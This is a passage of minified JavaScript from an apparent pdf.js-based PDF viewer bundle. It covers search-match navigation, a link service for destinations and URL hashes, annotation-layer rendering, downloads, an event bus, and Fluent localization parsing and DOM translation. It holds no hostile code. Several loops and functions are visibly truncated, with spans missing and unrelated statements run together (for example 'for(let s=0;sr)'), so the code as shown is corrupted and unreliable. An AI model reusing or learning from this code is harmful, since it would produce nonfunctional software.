t=this._offset.pageIdx;if(e=this._pageMatches[t],!e){this._resumePageIdx=t;break}}while(!A(this,tt,Tw).call(this,e))},E0=function(e){const t=this._offset,n=this._linkService.pagesCount;t.pageIdx=e?t.pageIdx-1:t.pageIdx+1,t.matchIdx=null,this._pagesToSearch--,(t.pageIdx>=n||t.pageIdx<0)&&(t.pageIdx=e?n-1:0,t.wrapped=!0)},hm=function(e=!1){let t=zs.NOT_FOUND;const n=this._offset.wrapped;if(this._offset.wrapped=!1,e){const r=this._selected.pageIdx;this._selected.pageIdx=this._offset.pageIdx,this._selected.matchIdx=this._offset.matchIdx,t=n?zs.WRAPPED:zs.FOUND,r!==-1&&r!==this._selected.pageIdx&&A(this,tt,lm).call(this,r)}A(this,tt,dd).call(this,t,a(this,ve).findPrevious),this._selected.pageIdx!==-1&&(this._scrollMatches=!0,A(this,tt,lm).call(this,this._selected.pageIdx))},Pw=function({pagesMapper:e,type:t,pageNumbers:n}){var f,p,m,v;if(this._extractTextPromises.length===0)return;if(t==="copy"){const y=new Map,E=new Map,S=new Map,w=new Map;for(const C of n)y.set(C,this._extractTextPromises[C-1]),E.set(C,this._pageContents[C-1]),S.set(C,this._pageDiffs[C-1]),w.set(C,this._hasDiacritics[C-1]);g(this,mi,{promises:y,contents:E,diffs:S,diacritics:w});return}if(t==="cancelCopy"){g(this,mi,null);return}if(t==="delete"&&g(this,ms,{promises:this._extractTextPromises,contents:this._pageContents,diffs:this._pageDiffs,diacritics:this._hasDiacritics}),t==="cancelDelete"){this._extractTextPromises=a(this,ms).promises,this._pageContents=a(this,ms).contents,this._pageDiffs=a(this,ms).diffs,this._hasDiacritics=a(this,ms).diacritics;return}if(t==="cleanSavedData"){g(this,ms,null);return}this._findTimeout&&(clearTimeout(this._findTimeout),this._findTimeout=null),this._resumePageIdx=null,this._dirtyMatch=!0;const r=this._extractTextPromises,i=this._pageContents,s=this._pageDiffs,o=this._hasDiacritics,l=this._extractTextPromises=[],u=this._pageContents=[],c=this._pageDiffs=[],d=this._hasDiacritics=[];for(let y=1,E=e.pagesNumber;y<=E;y++){const S=e.getPrevPageNumber(y);if(S<0){const w=-S;l.push(((f=a(this,mi))==null?void 0:f.promises.get(w))||Promise.resolve()),u.push(((p=a(this,mi))==null?void 0:p.contents.get(w))??""),c.push(((m=a(this,mi))==null?void 0:m.diffs.get(w))??null),d.push(((v=a(this,mi))==null?void 0:v.diacritics.get(w))??!1);continue}l.push(r[S-1]||Promise.resolve()),u.push(i[S-1]??""),c.push(s[S-1]??null),d.push(o[S-1]??!1)}a(this,ve)&&A(this,tt,yo).call(this)},Iw=function(e){const t=this._pdfDocument;this._firstPageCapability.promise.then(()=>{!this._pdfDocument||t&&this._pdfDocument!==t||(this._findTimeout&&(clearTimeout(this._findTimeout),this._findTimeout=null),this._resumePageIdx&&(this._resumePageIdx=null,this._dirtyMatch=!0),A(this,tt,dd).call(this,zs.FOUND),this._highlightMatches=!1,A(this,tt,cd).call(this))})},w0=function(){var i;const{pageIdx:e,matchIdx:t}=this._selected;let n=0,r=this._matchesCountTotal;if(t!==-1){for(let s=0;sr)&&(n=r=0),{current:n,total:r}},x0=function(){this._eventBus.dispatch("updatefindmatchescount",{source:this,matchesCount:A(this,tt,w0).call(this)})},dd=function(e,t=!1){var n,r;!a(this,lc)&&(a(this,Kl)!==this._linkService.pagesCount||e===zs.PENDING)||this._eventBus.dispatch("updatefindcontrolstate",{source:this,state:e,previous:t,entireWord:((n=a(this,ve))==null?void 0:n.entireWord)??null,matchesCount:A(this,tt,w0).call(this),rawQuery:((r=a(this,ve))==null?void 0:r.query)??null})};Ct(9112);Ct(5781);const RT="noopener noreferrer nofollow",bo={NONE:0,SELF:1,BLANK:2,PARENT:3,TOP:4};class pb{constructor({eventBus:e,externalLinkTarget:t=null,externalLinkRel:n=null,ignoreDestinationZoom:r=!1}={}){M(this,"externalLinkEnabled",!0);this.eventBus=e,this.externalLinkTarget=t,this.externalLinkRel=n,this._ignoreDestinationZoom=r,this.baseUrl=null,this.pdfDocument=null,this.pdfViewer=null,this.pdfHistory=null}setDocument(e,t=null){this.baseUrl=t,this.pdfDocument=e}setViewer(e){this.pdfViewer=e}setHistory(e){this.pdfHistory=e}get pagesCount(){var e;return((e=this.pdfDocument)==null?void 0:e.pagesMapper.pagesNumber)||0}get page(){return this.pdfDocument?this.pdfViewer.currentPageNumber:1}set page(e){this.pdfDocument&&(this.pdfViewer.currentPageNumber=e)}get rotation(){return this.pdfDocument?this.pdfViewer.pagesRotation:0}set rotation(e){this.pdfDocument&&(this.pdfViewer.pagesRotation=e)}get isInPresentationMode(){return this.pdfDocument?this.pdfViewer.isInPresentationMode:!1}async goToDestination(e){if(!this.pdfDocument)return;let t,n,r;if(typeof e=="string"?(t=e,n=await this.pdfDocument.getDestination(e)):(t=null,n=await e),!Array.isArray(n)){console.error(`goToDestination: "${n}" is not a valid destination array, for dest="${e}".`);return}const[i]=n;if(i&&typeof i=="object"){if(r=this.pdfDocument.cachedPageNumber(i),!r)try{r=await this.pdfDocument.getPageIndex(i)+1}catch{console.error(`goToDestination: "${i}" is not a valid page reference, for dest="${e}".`);return}}else Number.isInteger(i)&&(r=i+1);if(!r||r<1||r>this.pagesCount){console.error(`goToDestination: "${r}" is not a valid page number, for dest="${e}".`);return}this.pdfHistory&&(this.pdfHistory.pushCurrentPosition(),this.pdfHistory.push({namedDest:t,explicitDest:n,pageNumber:r})),this.pdfViewer.scrollPageIntoView({pageNumber:r,destArray:n,ignoreDestinationZoom:this._ignoreDestinationZoom});const s=new AbortController;this.eventBus._on("textlayerrendered",o=>{o.pageNumber===r&&(o.source.textLayer.div.focus(),s.abort())},{signal:s.signal})}goToPage(e){if(!this.pdfDocument)return;const t=typeof e=="string"&&this.pdfViewer.pageLabelToPageNumber(e)||e|0;if(!(Number.isInteger(t)&&t>0&&t<=this.pagesCount)){console.error(`PDFLinkService.goToPage: "${e}" is not a valid page.`);return}this.pdfHistory&&(this.pdfHistory.pushCurrentPosition(),this.pdfHistory.pushPage(t)),this.pdfViewer.scrollPageIntoView({pageNumber:t})}goToXY(e,t,n,r={}){this.pdfViewer.scrollPageIntoView({pageNumber:e,destArray:[null,{name:"XYZ"},t,n],ignoreDestinationZoom:!0,...r})}addLinkAttributes(e,t,n=!1){if(!t||typeof t!="string")throw new Error('A valid "url" parameter must provided.');const r=n?bo.BLANK:this.externalLinkTarget,i=this.externalLinkRel;let s=t;const o=URL.parse(t);(o!=null&&o.username||o!=null&&o.password)&&(o.username=o.password="",s=o.href),this.externalLinkEnabled?(e.href=t,e.title=s):(e.href="",e.title=`Disabled: ${s}`,e.onclick=()=>!1);let l="";switch(r){case bo.NONE:break;case bo.SELF:l="_self";break;case bo.BLANK:l="_blank";break;case bo.PARENT:l="_parent";break;case bo.TOP:l="_top";break}e.target=l,e.rel=typeof i=="string"?i:RT}getDestinationHash(e){if(typeof e=="string"){if(e.length>0)return this.getAnchorUrl("#"+escape(e))}else if(Array.isArray(e)){const t=JSON.stringify(e);if(t.length>0)return this.getAnchorUrl("#"+escape(t))}return this.getAnchorUrl("")}getAnchorUrl(e){return this.baseUrl?this.baseUrl+e:e}setHash(e){if(!this.pdfDocument)return;let t,n;if(e.includes("=")){const r=xv(e);if(r.has("search")){const i=r.get("search").replaceAll('"',""),s=r.get("phrase")==="true";this.eventBus.dispatch("findfromurlhash",{source:this,query:s?i:i.match(/\S+/g)})}if(r.has("page")&&(t=r.get("page")|0||1),r.has("zoom")){const i=r.get("zoom").split(","),s=i[0],o=parseFloat(s);s.includes("Fit")?s==="Fit"||s==="FitB"?n=[null,{name:s}]:s==="FitH"||s==="FitBH"||s==="FitV"||s==="FitBV"?n=[null,{name:s},i.length>1?i[1]|0:null]:s==="FitR"?i.length!==5?console.error('PDFLinkService.setHash: Not enough parameters for "FitR".'):n=[null,{name:s},i[1]|0,i[2]|0,i[3]|0,i[4]|0]:console.error(`PDFLinkService.setHash: "${s}" is not a valid zoom value.`):n=[null,{name:"XYZ"},i.length>1?i[1]|0:null,i.length>2?i[2]|0:null,o?o/100:s]}n?this.pdfViewer.scrollPageIntoView({pageNumber:t||this.page,destArray:n,allowNegativeOffset:!0}):t&&(this.page=t),r.has("pagemode")&&this.eventBus.dispatch("pagemode",{source:this,mode:r.get("pagemode")}),r.has("nameddest")&&this.goToDestination(r.get("nameddest"));return}n=unescape(e);try{n=JSON.parse(n),Array.isArray(n)||(n=n.toString())}catch{}if(typeof n=="string"||WC(n)){this.goToDestination(n);return}console.error(`PDFLinkService.setHash: "${unescape(e)}" is not a valid destination.`)}executeNamedAction(e){var t,n;if(this.pdfDocument){switch(e){case"GoBack":(t=this.pdfHistory)==null||t.back();break;case"GoForward":(n=this.pdfHistory)==null||n.forward();break;case"NextPage":this.pdfViewer.nextPage();break;case"PrevPage":this.pdfViewer.previousPage();break;case"LastPage":this.page=this.pagesCount;break;case"FirstPage":this.page=1;break}this.eventBus.dispatch("namedaction",{source:this,action:e})}}async executeSetOCGState(e){if(!this.pdfDocument)return;const t=this.pdfDocument,n=await this.pdfViewer.optionalContentConfigPromise;t===this.pdfDocument&&(n.setOCGState(e),this.pdfViewer.optionalContentConfigPromise=Promise.resolve(n))}}class gb extends pb{setDocument(e,t=null){}}var Ga,mp,vp,yp,Xa,bp,Vs,Fw,S0,Dw;class Rw{constructor({pdfPage:e,linkService:t,downloadManager:n,annotationStorage:r=null,imageResourcesPath:i="",renderForms:s=!0,enableComment:o=!1,commentManager:l=null,enableScripting:u=!1,hasJSActionsPromise:c=null,fieldObjectsPromise:d=null,annotationCanvasMap:f=null,accessibilityManager:p=null,annotationEditorUIManager:m=null,onAppend:v=null}){b(this,Vs);b(this,Ga,null);b(this,mp,null);b(this,vp,!1);b(this,yp,null);b(this,Xa,null);b(this,bp,!1);this.pdfPage=e,this.linkService=t,this.downloadManager=n,this.imageResourcesPath=i,this.renderForms=s,this.annotationStorage=r,this.enableComment=o,g(this,mp,l),this.enableScripting=u,this._hasJSActionsPromise=c||Promise.resolve(!1),this._fieldObjectsPromise=d||Promise.resolve(null),this._annotationCanvasMap=f,this._accessibilityManager=p,this._annotationEditorUIManager=m,g(this,yp,v),this.annotationLayer=null,this.div=null,this._cancelled=!1,this._eventBus=t.eventBus}async render({viewport:e,intent:t="display",structTreeLayer:n=null}){var l,u;if(this.div){if(this._cancelled||!this.annotationLayer)return;this.annotationLayer.update({viewport:e.clone({dontFlip:!0})});return}const[r,i,s]=await Promise.all([this.pdfPage.getAnnotations({intent:t}),this._hasJSActionsPromise,this._fieldObjectsPromise]);if(this._cancelled)return;const o=this.div=document.createElement("div");if(o.className="annotationLayer",(l=a(this,yp))==null||l.call(this,o),A(this,Vs,Fw).call(this,e,n),r.length===0){g(this,Ga,r),vw(this.div,e);return}await this.annotationLayer.render({annotations:r,imageResourcesPath:this.imageResourcesPath,renderForms:this.renderForms,downloadManager:this.downloadManager,enableComment:this.enableComment,enableScripting:this.enableScripting,hasJSActions:i,fieldObjects:s}),g(this,Ga,r),this.linkService.isInPresentationMode&&A(this,Vs,S0).call(this,Dh.FULLSCREEN),a(this,Xa)||(g(this,Xa,new AbortController),(u=this._eventBus)==null||u._on("presentationmodechanged",c=>{A(this,Vs,S0).call(this,c.state)},{signal:a(this,Xa).signal}))}cancel(){var e;this._cancelled=!0,(e=a(this,Xa))==null||e.abort(),g(this,Xa,null)}hide(e=!1){g(this,vp,!e),this.div&&(this.div.hidden=!0)}hasEditableAnnotations(){var e;return!!((e=this.annotationLayer)!=null&&e.hasEditableAnnotations())}async injectLinkAnnotations(e){if(a(this,Ga)===null)throw new Error("`render` method must be called before `injectLinkAnnotations`.");if(this._cancelled||a(this,bp))return;g(this,bp,!0);const t=a(this,Ga).length?A(this,Vs,Dw).call(this,e):e;t.length&&(await this.annotationLayer.addLinkAnnotations(t),a(this,vp)||(this.div.hidden=!1))}}Ga=new WeakMap,mp=new WeakMap,vp=new WeakMap,yp=new WeakMap,Xa=new WeakMap,bp=new WeakMap,Vs=new WeakSet,Fw=function(e,t){this.annotationLayer=new UC({div:this.div,accessibilityManager:this._accessibilityManager,annotationCanvasMap:this._annotationCanvasMap,annotationEditorUIManager:this._annotationEditorUIManager,annotationStorage:this.annotationStorage,page:this.pdfPage,viewport:e.clone({dontFlip:!0}),structTreeLayer:t,commentManager:a(this,mp),linkService:this.linkService})},S0=function(e){if(!this.div)return;let t=!1;switch(e){case Dh.FULLSCREEN:t=!0;break;case Dh.NORMAL:break;default:return}for(const n of this.div.childNodes)n.hasAttribute("data-internal-link")||(n.inert=t)},Dw=function(e){function t(i){if(!i.quadPoints)return[i.rect];const s=[];for(let o=2,l=i.quadPoints.length;o{let s;for(const o of a(this,Ga)){if(o.annotationType!==pw.LINK||!o.url)continue;const l=n(o,i);if(l.length!==0&&(s??(s=r(t(i))),r(l)/s>.5))return!1}return!0})};Ct(8454);Ct(9452);var Ap;class FT{constructor(){b(this,Ap,new WeakMap)}_triggerDownload(e,t,n,r=!1){throw new Error("Not implemented: _triggerDownload")}_getOpenDataUrl(e,t,n=null){throw new Error("Not implemented: _getOpenDataUrl")}downloadData(e,t,n){const r=URL.createObjectURL(new Blob([e],{type:n}));this._triggerDownload(r,r,t,!0)}openOrDownloadData(e,t,n=null){const r=VC(t),i=r?"application/pdf":"";if(r){const s=a(this,Ap).getOrInsertComputed(e,()=>URL.createObjectURL(new Blob([e],{type:i})));try{const o=this._getOpenDataUrl(s,t,n);return window.open(o),!0}catch(o){console.error("openOrDownloadData:",o),URL.revokeObjectURL(s),a(this,Ap).delete(e)}}return this.downloadData(e,t,i),!1}download(e,t,n){const r=e?URL.createObjectURL(new Blob([e],{type:"application/pdf"})):null;this._triggerDownload(r,t,n)}}Ap=new WeakMap;class DT extends FT{_triggerDownload(e,t,n,r=!1){if(!e&&!r){if(!gw(t,"http://example.com"))throw new Error(`_triggerDownload - not a valid URL: ${t}`);e=t+"#pdfjs.action=download"}const i=document.createElement("a");i.href=e,i.target="_parent","download"in i&&(i.download=n),(document.body||document.documentElement).append(i),i.click(),i.remove()}_getOpenDataUrl(e,t,n=null){throw new Error("Opening data is not supported in `COMPONENTS` builds.")}}const v1={EVENT:"event",TIMEOUT:"timeout"};async function OT({target:h,name:e,delay:t=0}){if(typeof h!="object"||!(Number.isInteger(t)&&t>=0))throw new Error("waitOnEventOrTimeout - invalid parameters.");const{promise:n,resolve:r}=Promise.withResolvers(),i=new AbortController;function s(u){i.abort(),clearTimeout(l),r(u)}const o=h instanceof mb?"_on":"addEventListener";h[o](e,s.bind(null,v1.EVENT),{signal:i.signal});const l=setTimeout(s.bind(null,v1.TIMEOUT),t);return n}var hc;class mb{constructor(){b(this,hc,Object.create(null))}on(e,t,n=null){this._on(e,t,{external:!0,once:n==null?void 0:n.once,signal:n==null?void 0:n.signal})}off(e,t,n=null){this._off(e,t)}dispatch(e,t){const n=a(this,hc)[e];if(!n||n.length===0)return;let r;for(const{listener:i,external:s,once:o}of n.slice(0)){if(o&&this._off(e,i),s){(r||(r=[])).push(i);continue}i(t)}if(r){for(const i of r)i(t);r=null}}_on(e,t,n=null){var s;let r=null;if((n==null?void 0:n.signal)instanceof AbortSignal){const{signal:o}=n;if(o.aborted){console.error("Cannot use an `aborted` signal.");return}const l=()=>this._off(e,t);r=()=>o.removeEventListener("abort",l),o.addEventListener("abort",l)}((s=a(this,hc))[e]||(s[e]=[])).push({listener:t,external:(n==null?void 0:n.external)===!0,once:(n==null?void 0:n.once)===!0,rmAbort:r})}_off(e,t,n=null){var i;const r=a(this,hc)[e];if(r)for(let s=0,o=r.length;s1;for(const r of e){if(typeof r=="string"){t.push(h.bundle._transform(r));continue}if(h.placeables++,h.placeables>y1)throw h.dirty.delete(e),new RangeError(`Too many placeables expanded: ${h.placeables}, max allowed is ${y1}`);n&&t.push(MT),t.push(Fd(h,r).toString(h)),n&&t.push(LT)}return h.dirty.delete(e),t.join("")}function Dc(h,e){return typeof e=="string"?h.bundle._transform(e):Ow(h,e)}class HT{constructor(e,t,n){this.dirty=new WeakSet,this.params=null,this.placeables=0,this.bundle=e,this.errors=t,this.args=n}reportError(e){if(!this.errors||!(e instanceof Error))throw e;this.errors.push(e)}memoizeIntlObject(e,t){let n=this.bundle._intls.get(e);n||(n={},this.bundle._intls.set(e,n));let r=JSON.stringify(t);return n[r]||(n[r]=new e(this.bundle.locales,t)),n[r]}}function T0(h,e){const t=Object.create(null);for(const[n,r]of Object.entries(h))e.includes(n)&&(t[n]=r.valueOf());return t}const A1=["unitDisplay","currencyDisplay","useGrouping","minimumIntegerDigits","minimumFractionDigits","maximumFractionDigits","minimumSignificantDigits","maximumSignificantDigits"];function VT(h,e){let t=h[0];if(t instanceof Ae)return new Ae(`NUMBER(${t.valueOf()})`);if(t instanceof Ns)return new Ns(t.valueOf(),{...t.opts,...T0(e,A1)});if(t instanceof uo)return new Ns(t.toNumber(),{...T0(e,A1)});throw new TypeError("Invalid argument to NUMBER")}const WT=["dateStyle","timeStyle","fractionalSecondDigits","dayPeriod","hour12","weekday","era","year","month","day","hour","minute","second","timeZoneName"];function zT(h,e){let t=h[0];if(t instanceof Ae)return new Ae(`DATETIME(${t.valueOf()})`);if(t instanceof uo||t instanceof Ns)return new uo(t,T0(e,WT));throw new TypeError("Invalid argument to DATETIME")}const E1=new Map;function GT(h){const e=Array.isArray(h)?h.join(" "):h;let t=E1.get(e);return t===void 0&&(t=new Map,E1.set(e,t)),t}class XT{constructor(e,{functions:t,useIsolating:n=!0,transform:r=i=>i}={}){this._terms=new Map,this._messages=new Map,this.locales=Array.isArray(e)?e:[e],this._functions={NUMBER:VT,DATETIME:zT,...t},this._useIsolating=n,this._transform=r,this._intls=GT(e)}hasMessage(e){return this._messages.has(e)}getMessage(e){return this._messages.get(e)}addResource(e,{allowOverrides:t=!1}={}){const n=[];for(let r=0;r\s*/y,sP=/\s*:\s*/y,aP=/\s*,?\s*/y,oP=/\s+/y;class lP{constructor(e){this.body=[],Nv.lastIndex=0;let t=0;for(;;){let P=Nv.exec(e);if(P===null)break;t=Nv.lastIndex;try{this.body.push(l(P[1]))}catch(R){if(R instanceof SyntaxError)continue;throw R}}function n(P){return P.lastIndex=t,P.test(e)}function r(P,R){if(e[t]===P)return t++,!0;if(R)throw new R(`Expected ${P}`);return!1}function i(P,R){if(n(P))return t=P.lastIndex,!0;if(R)throw new R(`Expected ${P.toString()}`);return!1}function s(P){P.lastIndex=t;let R=P.exec(e);if(R===null)throw new SyntaxError(`Expected ${P.toString()}`);return t=P.lastIndex,R}function o(P){return s(P)[1]}function l(P){let R=c(),D=u();if(R===null&&Object.keys(D).length===0)throw new SyntaxError("Expected message value or attributes");return{id:P,value:R,attributes:D}}function u(){let P=Object.create(null);for(;n(w1);){let R=o(w1),D=c();if(D===null)throw new SyntaxError("Expected attribute value");P[R]=D}return P}function c(){let P;if(n(bg)&&(P=o(bg)),e[t]==="{"||e[t]==="}")return d(P?[P]:[],1/0);let R=T();return R?P?d([P,R],R.length):(R.value=I(R.value,ZT),d([R],R.length)):P?I(P,T1):null}function d(P=[],R){for(;;){if(n(bg)){P.push(o(bg));continue}if(e[t]==="{"){P.push(f());continue}if(e[t]==="}")throw new SyntaxError("Unbalanced closing brace");let H=T();if(H){P.push(H),R=Math.min(R,H.length);continue}break}let D=P.length-1,k=P[D];typeof k=="string"&&(P[D]=I(k,T1));let N=[];for(let H of P)H instanceof I1&&(H=H.value.slice(0,H.value.length-R)),H&&N.push(H);return N}function f(){i(tP,SyntaxError);let P=p();if(i(P1))return P;if(i(iP)){let R=y();return i(P1,SyntaxError),{type:"select",selector:P,...R}}throw new SyntaxError("Unclosed placeable")}function p(){if(e[t]==="{")return f();if(n(x1)){let[,P,R,D=null]=s(x1);if(P==="$")return{type:"var",name:R};if(i(rP)){let k=m();if(P==="-")return{type:"term",name:R,attr:D,args:k};if(KT.test(R))return{type:"func",name:R,args:k};throw new SyntaxError("Function names must be all upper-case")}return P==="-"?{type:"term",name:R,attr:D,args:[]}:{type:"mesg",name:R,attr:D}}return S()}function m(){let P=[];for(;;){switch(e[t]){case")":return t++,P;case void 0:throw new SyntaxError("Unclosed argument list")}P.push(v()),i(aP)}}function v(){let P=p();return P.type!=="mesg"?P:i(sP)?{type:"narg",name:P.name,value:S()}:P}function y(){let P=[],R=0,D;for(;n(_T);){r("*")&&(D=R);let k=E(),N=c();if(N===null)throw new SyntaxError("Expected variant value");P[R++]={key:k,value:N}}if(R===0)return null;if(D===void 0)throw new SyntaxError("Expected default variant");return{variants:P,star:D}}function E(){i(eP,SyntaxError);let P;return n(Bv)?P=w():P={type:"str",value:o(YT)},i(nP,SyntaxError),P}function S(){if(n(Bv))return w();if(e[t]==='"')return C();throw new SyntaxError("Invalid expression")}function w(){let[,P,R=""]=s(Bv),D=R.length;return{type:"num",value:parseFloat(P),precision:D}}function C(){r('"',SyntaxError);let P="";for(;;){if(P+=o(JT),e[t]==="\\"){P+=x();continue}if(r('"'))return{type:"str",value:P};throw new SyntaxError("Unclosed string literal")}}function x(){if(n(S1))return o(S1);if(n(C1)){let[,P,R]=s(C1),D=parseInt(P||R,16);return D<=55295||57344<=D?String.fromCodePoint(D):"�"}throw new SyntaxError("Unknown escape sequence")}function T(){let P=t;switch(i(oP),e[t]){case".":case"[":case"*":case"}":case void 0:return!1;case"{":return F(e.slice(P,t))}return e[t-1]===" "?F(e.slice(P,t)):!1}function I(P,R){return P.replace(R,"")}function F(P){let R=P.replace(QT,` +`),D=qT.exec(P)[1].length;return new I1(R,D)}}}class I1{constructor(e,t){this.value=e,this.length=t}}const hP=/<|&#?\w+;/,uP={"http://www.w3.org/1999/xhtml":["em","strong","small","s","cite","q","dfn","abbr","data","time","code","var","samp","kbd","sub","sup","i","b","u","mark","bdi","bdo","span","br","wbr"]},cP={"http://www.w3.org/1999/xhtml":{global:["title","aria-description","aria-label","aria-valuetext"],a:["download"],area:["download","alt"],input:["alt","placeholder"],menuitem:["label"],menu:["label"],optgroup:["label"],option:["label"],track:["label"],img:["alt"],textarea:["placeholder"],th:["abbr"]},"http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul":{global:["accesskey","aria-label","aria-valuetext","label","title","tooltiptext"],description:["value"],key:["key","keycode"],label:["value"],textbox:["placeholder","value"]}};function dP(h,e){const{value:t}=e;if(typeof t=="string")if(h.localName==="title"&&h.namespaceURI==="http://www.w3.org/1999/xhtml")h.textContent=t;else if(!hP.test(t))h.textContent=t;else{const n=h.ownerDocument.createElementNS("http://www.w3.org/1999/xhtml","template");n.innerHTML=t,fP(n.content,h)}Mw(e,h)}function fP(h,e){for(const t of h.childNodes)if(t.nodeType!==t.TEXT_NODE){if(t.hasAttribute("data-l10n-name")){const n=gP(e,t);h.replaceChild(n,t);continue}if(vP(t)){const n=mP(t);h.replaceChild(n,t);continue}console.warn(`An element of forbidden type "${t.localName}" was found in the translation. Only safe text-level elements and elements with data-l10n-name are allowed.`),h.replaceChild(P0(t),t)}e.textContent="",e.appendChild(h)}function pP(h,e){if(!h)return!1;for(let t of h)if(t.name===e)return!0;return!1}function Mw(h,e){const t=e.hasAttribute("data-l10n-attrs")?e.getAttribute("data-l10n-attrs").split(",").map(n=>n.trim()):null;for(const n of Array.from(e.attributes))R1(n.name,e,t)&&!pP(h.attributes,n.name)&&e.removeAttribute(n.name);if(h.attributes)for(const n of Array.from(h.attributes))R1(n.name,e,t)&&e.getAttribute(n.name)!==n.value&&e.setAttribute(n.name,n.value)}function gP(h,e){const t=e.getAttribute("data-l10n-name"),n=h.querySelector(`[data-l10n-name="${t}"]`);if(!n)return console.warn(`An element named "${t}" wasn't found in the source.`),P0(e);if(n.localName!==e.localName)return console.warn(`An element named "${t}" was found in the translation but its type ${e.localName} didn't match the element found in the source (${n.localName}).`),P0(e);h.removeChild(n);const r=n.cloneNode(!1);return Lw(e,r)}function mP(h){const e=h.ownerDocument.createElement(h.localName);return Lw(h,e)}function P0(h){return h.ownerDocument.createTextNode(h.textContent)}function vP(h){const e=uP[h.namespaceURI];return e&&e.includes(h.localName)}function R1(h,e,t=null){if(t&&t.includes(h))return!0;const n=cP[e.namespaceURI];if(!n)return!1;const r=h.toLowerCase(),i=e.localName;if(n.global.includes(r))return!0;if(!n[i])return!1;if(n[i].includes(r))return!0;if(e.namespaceURI==="http://www.w3.org/1999/xhtml"&&i==="input"&&r==="value"){const s=e.type.toLowerCase();if(s==="submit"||s==="button"||s==="reset")return!0}return!1}function Lw(h,e){return e.textContent=h.textContent,Mw(h,e),e}class yP extends Array{static from(e){return e instanceof this?e:new this(e)}}class bP extends yP{constructor(e){if(super(),Symbol.asyncIterator in Object(e))this.iterator=e[Symbol.asyncIterator]();else if(Symbol.iterator in Object(e))this.iterator=e[Symbol.iterator]();else throw new TypeError("Argument must implement the iteration protocol.")}[Symbol.asyncIterator](){const e=this;let t=0;return{async next(){return e.length<=t&&e.push(e.iterator.next()),e[t++]}}}async touchNext(e=1){let t=0;for(;t++!e.includes(t)),this.onChange(),this.resourceIds.length}async formatWithFallback(e,t){const n=[];let r=!1;for await(const i of this.bundles){r=!0;const s=xP(t,i,e,n);if(s.size===0)break;if(typeof console<"u"){const o=i.locales[0],l=Array.from(s).join(", ");console.warn(`[fluent] Missing translations in ${o}: ${l}`)}}return!r&&typeof console<"u"&&console.warn(`[fluent] Request for keys failed because no resource bundles got generated. + keys: ${JSON.stringify(e)}. + resourceIds: ${JSON.stringify(this.resourceIds)}.`),n}formatMessages(e){return this.formatWithFallback(e,wP)}formatValues(e){return this.formatWithFallback(e,EP)}async formatValue(e,t){const[n]=await this.formatValues([{id:e,args:t}]);return n}handleEvent(){this.onChange()}onChange(e=!1){this.bundles=bP.from(this.generateBundles(this.resourceIds)),e&&this.bundles.touchNext(2)}}function EP(h,e,t,n){return t.value?h.formatPattern(t.value,n,e):null}function wP(h,e,t,n){const r={value:null,attributes:null};t.value&&(r.value=h.formatPattern(t.value,n,e));let i=Object.keys(t.attributes);if(i.length>0){r.attributes=new Array(i.length);for(let[s,o]of i.entries()){let l=h.formatPattern(t.attributes[o],n,e);r.attributes[s]={name:o,value:l}}}return r}function xP(h,e,t,n){const r=[],i=new Set;return t.forEach(({id:s,args:o},l)=>{if(n[l]!==void 0)return;let u=e.getMessage(s);if(u){if(r.length=0,n[l]=h(e,r,u,o),r.length>0&&typeof console<"u"){const c=e.locales[0],d=r.join(", ");console.warn(`[fluent][resolver] errors in ${c}/${s}: ${d}.`)}}else i.add(s)}),i}const Ao="data-l10n-id",$c="data-l10n-args",SP=`[${Ao}]`;class CP extends AP{constructor(e,t){super(e,t),this.roots=new Set,this.pendingrAF=null,this.pendingElements=new Set,this.windowElement=null,this.mutationObserver=null,this.observerConfig={attributes:!0,characterData:!1,childList:!0,subtree:!0,attributeFilter:[Ao,$c]}}onChange(e=!1){super.onChange(e),this.roots&&this.translateRoots()}setAttributes(e,t,n){return e.setAttribute(Ao,t),n?e.setAttribute($c,JSON.stringify(n)):e.removeAttribute($c),e}getAttributes(e){return{id:e.getAttribute(Ao),args:JSON.parse(e.getAttribute($c)||null)}}connectRoot(e){for(const t of this.roots)if(t===e||t.contains(e)||e.contains(t))throw new Error("Cannot add a root that overlaps with existing root.");if(this.windowElement){if(this.windowElement!==e.ownerDocument.defaultView)throw new Error(`Cannot connect a root: + DOMLocalization already has a root from a different window.`)}else this.windowElement=e.ownerDocument.defaultView,this.mutationObserver=new this.windowElement.MutationObserver(t=>this.translateMutations(t));this.roots.add(e),this.mutationObserver.observe(e,this.observerConfig)}disconnectRoot(e){return this.roots.delete(e),this.pauseObserving(),this.roots.size===0?(this.mutationObserver=null,this.windowElement&&this.pendingrAF&&this.windowElement.cancelAnimationFrame(this.pendingrAF),this.windowElement=null,this.pendingrAF=null,this.pendingElements.clear(),!0):(this.resumeObserving(),!1)}translateRoots(){const e=Array.from(this.roots);return Promise.all(e.map(t=>this.translateFragment(t)))}pauseObserving(){this.mutationObserver&&(this.translateMutations(this.mutationObserver.takeRecords()),this.mutationObserver.disconnect())}resumeObserving(){if(this.mutationObserver)for(const e of this.roots)this.mutationObserver.observe(e,this.observerConfig)}translateMutations(e){for(const t of e)switch(t.type){case"attributes":t.target.hasAttribute("data-l10n-id")&&this.pendingElements.add(t.target);break;case"childList":for(const n of t.addedNodes)if(n.nodeType===n.ELEMENT_NODE)if(n.childElementCount)for(const r of this.getTranslatables(n))this.pendingElements.add(r);else n.hasAttribute(Ao)&&this.pendingElements.add(n);break}this.pendingElements.size>0&&this.pendingrAF===null&&(this.pendingrAF=this.windowElement.requestAnimationFrame(()=>{this.translateElements(Array.from(this.pendingElements)),this.pendingElements.clear(),this.pendingrAF=null}))}translateFragment(e){return this.translateElements(this.getTranslatables(e))}async translateElements(e){if(!e.length)return;const t=e.map(this.getKeysForElement),n=await this.formatMessages(t);return this.applyTranslations(e,n)}applyTranslations(e,t){this.pauseObserving();for(let n=0;n({id:o})),(await a(this,xn).formatMessages(e)).map(o=>o.value)):((i=(await a(this,xn).formatMessages([{id:e,args:t}]))[0])==null?void 0:i.value)||n}async translate(e){(a(this,_a)||g(this,_a,new Set)).add(e);try{a(this,xn).connectRoot(e),await a(this,xn).translateRoots()}catch{}}async translateOnce(e){try{await a(this,xn).translateElements([e])}catch(t){console.error("translateOnce:",t)}}async destroy(){if(a(this,_a)){for(const e of a(this,_a))a(this,xn).disconnectRoot(e);a(this,_a).clear(),g(this,_a,null)}a(this,xn).pauseObserving()}pause(){a(this,xn).pauseObserving()}resume(){a(this,xn).resumeObserving()}};Ep=new WeakMap,_a=new WeakMap,uc=new WeakMap,xn=new WeakMap,Lc=new WeakSet,Nw=function(e){return e=(e==null?void 